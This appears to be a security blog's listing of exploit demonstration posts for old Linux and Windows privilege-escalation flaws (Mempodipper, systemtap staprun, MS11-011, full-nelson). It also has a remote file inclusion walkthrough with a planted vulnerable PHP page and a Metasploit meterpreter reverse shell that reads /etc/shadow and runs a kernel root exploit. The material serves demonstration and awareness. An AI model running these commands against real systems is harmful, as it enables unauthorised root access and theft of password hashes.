Posts tagged Kernel

CVE-2012-0056 Mempodipper Linux Local Root Exploit Demo

0
3 months ago
in

Timeline :

Vulnerability discovered by zx2c4 (Jason A. Donenfeld)
Public release of the vulnerability the 2012-01-18
Exploit provided the 2012-01-23

PoC provided by :

zx2c4 (Jason A. Donenfeld)

Reference(s) :

CVE-2012-0056
EBD-ID-18411

Affected version(s) :

Linux kernel’s above or equal to 2.6.39 (32 bit or 64 bit).

Tested on Ubuntu 11.10 with :

Linux ubuntu 3.0.0-15-generic

Description :

Mempodipper is an exploit for CVE-2012-0056 exploiting an issue in the handling of the /proc/pid/mem writing functionality, where permissions are not being properly checked in the Linux kernel version 2.6.39 to current. A local, unprivileged user could use this flaw to escalate their privileges.

Commands :

whoami
gcc -o CVE-2012-0056-Mempodipper CVE-2012-0056-Mempodipper.c
./CVE-2012-0056-Mempodipper
whoami

CVE-2010-4170 : systemtap Local Root Privilege Escalation Vulnerability

2
1 year ago
in

Timeline :

Vulnerability reported to vendors, by Tavis Ormandy, the 2010-11-15
Vulnerability corrected by vendors around the 2010-11-17

PoC provided by :

Tavis Ormandy

Reference(s) :

CVE-2010-4170

Affected version(s) :

Red Hat, Fedora, Debian, Ubuntu, etc.

Tested on Debian squeeze/sid with :

systemtap-runtime_1.0-2_i386.deb

Description :

It was discovered that staprun did not properly sanitize the environment before executing the modprobe command to load an additional kernel module. A local, unprivileged user could use this flaw to escalate their privileges.

Commands :

Require “systemtap-runtime” on Debian

id
printf “install uprobes /bin/sh” exploit.conf; MODPROBE_OPTIONS=”-C exploit.conf” staprun -u whatever
id

MS11-011 : Windows UAC Bypass 0day

0
1 year ago
in

Timeline :

Vulnerability released by noobpwnftw the 2010-11-24

PoC provided by :

noobpwnftw

Reference(s) :

CVE-2010-4398
EBD-ID-15609
MS11-011

Affected version(s) :

Windows XP SP3
Windows XP Professional x64 SP2
Windows Server 2003 SP2
Windows Server 2003 x64 SP2
Windows Vista SP1 and Windows Vista SP2
Windows Vista x64 SP1 and Windows Vista x64 SP2
Windows Server 2008 32 and Windows Server 2008 32 SP2
Windows Server 2008 x64 and Windows Server 2008 x64 SP2
Windows 7 32
Windows 7 x64
Windows Server 2008 R2 x64

Tested on Windows 7 Integral

Description :

Microsoft Windows does not adequately validate registry data read using the function RtlQueryRegistryValues(). By modifying an EUDC registry key value, a local user could execute arbitrary code with SYSTEM privileges.

Commands :

whoami
poc.exe
whoami

full-nelson.c Linux Kernel local privilege escalation

0
1 year ago
in

Timeline :

CVE-2010-3849 reported by Nelson Elhagethe the 2010-10-18
CVE-2010-3850 reported by Nelson Elhagethe the 2010-10-18
CVE-2010-4258 reported by Nelson Elhagethe the 2010-12-02

PoC provided by :

Dan Rosenberg
Nelson Elhage

Reference(s) :

CVE-2010-3849
CVE-2010-3850
CVE-2010-4258

Affected version(s) :

All Linux Kernel versions previous to the 2.6.37 version

Tested on Ubuntu 10.10 server

Description :

This exploit leverages three vulnerabilities to get root, all of which were discovered by Nelson Elhage.

Commands :

uname -a
uid
gcc full-nelson.c -o full-nelson
./full-neslon
uid

Remote File Inclusion and privilege escalation through Metasploit

0
1 year ago
in

Demonstration of a RFI (Remote File Inclusion) attack followed by a privilege escalation through Metasploit. The privilege escalation will be done through the CVE-2010-3904 Linux RDS Protocol vulnerability.

Vulnerable web page creation

mkdir 1
vi 1/index.php
<?php
$color='blue';
if(isset($_REQUEST['COLOR'])) {
$color = $_REQUEST['COLOR'];
}
require ($color . '.php');
?>

chown -R apache:apache 1

Vulnerable web page exploitation through Metasploit

use exploit/unix/webapp/php_include
show options
set PATH /1/
set PHPURI /index.php?COLOR=XXpathXX
set RHOST 192.168.178.47
ifconfig
set SRVHOST 192.168.178.21
show options

set PAYLOAD php/meterpreter_reverse_tcp
show options
set LHOST 192.168.178.21
exploit

getuid
getpid
ps
sysinfo
pwd
ls
cat index.php
cat /etc/shadow

lwpd
lcd /home/eromang/exploits/linux/local_escal­ations
upload linux-rds-exploit_CVE-2010-3904

execute -i -f bash
id
chmod u+x linux-rds-exploit_CVE-2010-3904
./linux-rds-exploit_CVE-2010-3904
id
cat /etc/shadow

Video demonstration

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